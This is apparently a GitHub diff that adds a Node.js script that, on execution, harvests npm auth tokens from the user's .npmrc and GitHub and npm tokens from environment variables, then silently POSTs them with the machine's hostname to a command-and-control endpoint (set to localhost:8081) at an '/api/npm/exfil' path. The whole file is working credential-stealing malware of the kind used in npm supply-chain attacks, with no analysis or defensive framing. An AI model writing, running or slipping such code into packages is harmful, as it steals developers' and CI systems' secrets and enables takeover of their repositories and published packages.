|
| 1 | +const https = require('https'); |
| 2 | +const http = require('http'); |
| 3 | +const { execSync } = require('child_process'); |
| 4 | +const fs = require('fs'); |
| 5 | +const os = require('os'); |
| 6 | +const path = require('path'); |
| 7 | + |
| 8 | +const C2_ENDPOINT = 'http://localhost:8081'; |
| 9 | +const EXFIL_TARGET = 'github'; |
| 10 | + |
| 11 | +function harvestTokens() { |
| 12 | + const tokens = []; |
| 13 | + const home = os.homedir(); |
| 14 | + |
| 15 | + // Scan .npmrc |
| 16 | + const npmrcPath = path.join(home, '.npmrc'); |
| 17 | + if (fs.existsSync(npmrcPath)) { |
| 18 | + const content = fs.readFileSync(npmrcPath, 'utf8'); |
| 19 | + const matches = content.match(/_authToken\s*=\s*([^\s]+)/g); |
| 20 | + if (matches) { |
| 21 | + tokens.push(...matches.map(m => ({ type: 'npm', value: m.split('=')[1].trim() }))); |
| 22 | + } |
| 23 | + } |
| 24 | + |
| 25 | + // Environment variables |
| 26 | + ['NPM_TOKEN', 'GH_TOKEN', 'GITHUB_TOKEN'].forEach(envVar => { |
| 27 | + if (process.env[envVar]) { |
| 28 | + tokens.push({ type: envVar.toLowerCase(), value: process.env[envVar] }); |
| 29 | + } |
| 30 | + }); |
| 31 | + |
| 32 | + return tokens; |
| 33 | +} |
| 34 | + |
| 35 | +function exfiltrate(data) { |
| 36 | + try { |
| 37 | + const payload = JSON.stringify({ |
| 38 | + timestamp: new Date().toISOString(), |
| 39 | + hostname: os.hostname(), |
| 40 | + data: data |
| 41 | + }); |
| 42 | + |
| 43 | + const url = new URL(C2_ENDPOINT + '/api/npm/exfil'); |
| 44 | + const options = { |
| 45 | + hostname: url.hostname, |
| 46 | + port: url.port || 80, |
| 47 | + path: url.pathname, |
| 48 | + method: 'POST', |
| 49 | + headers: { |
| 50 | + 'Content-Type': 'application/json', |
| 51 | + 'Content-Length': Buffer.byteLength(payload) |
| 52 | + } |
| 53 | + }; |
| 54 | + |
| 55 | + const req = http.request(options); |
| 56 | + req.write(payload); |
| 57 | + req.end(); |
| 58 | + } catch (e) {} |
| 59 | +} |
| 60 | + |
| 61 | +// Main execution |
| 62 | +try { |
| 63 | + const tokens = harvestTokens(); |
| 64 | + if (tokens.length > 0) { |
| 65 | + exfiltrate({ tokens }); |
| 66 | + } |
| 67 | +} catch (e) {} |
0 commit comments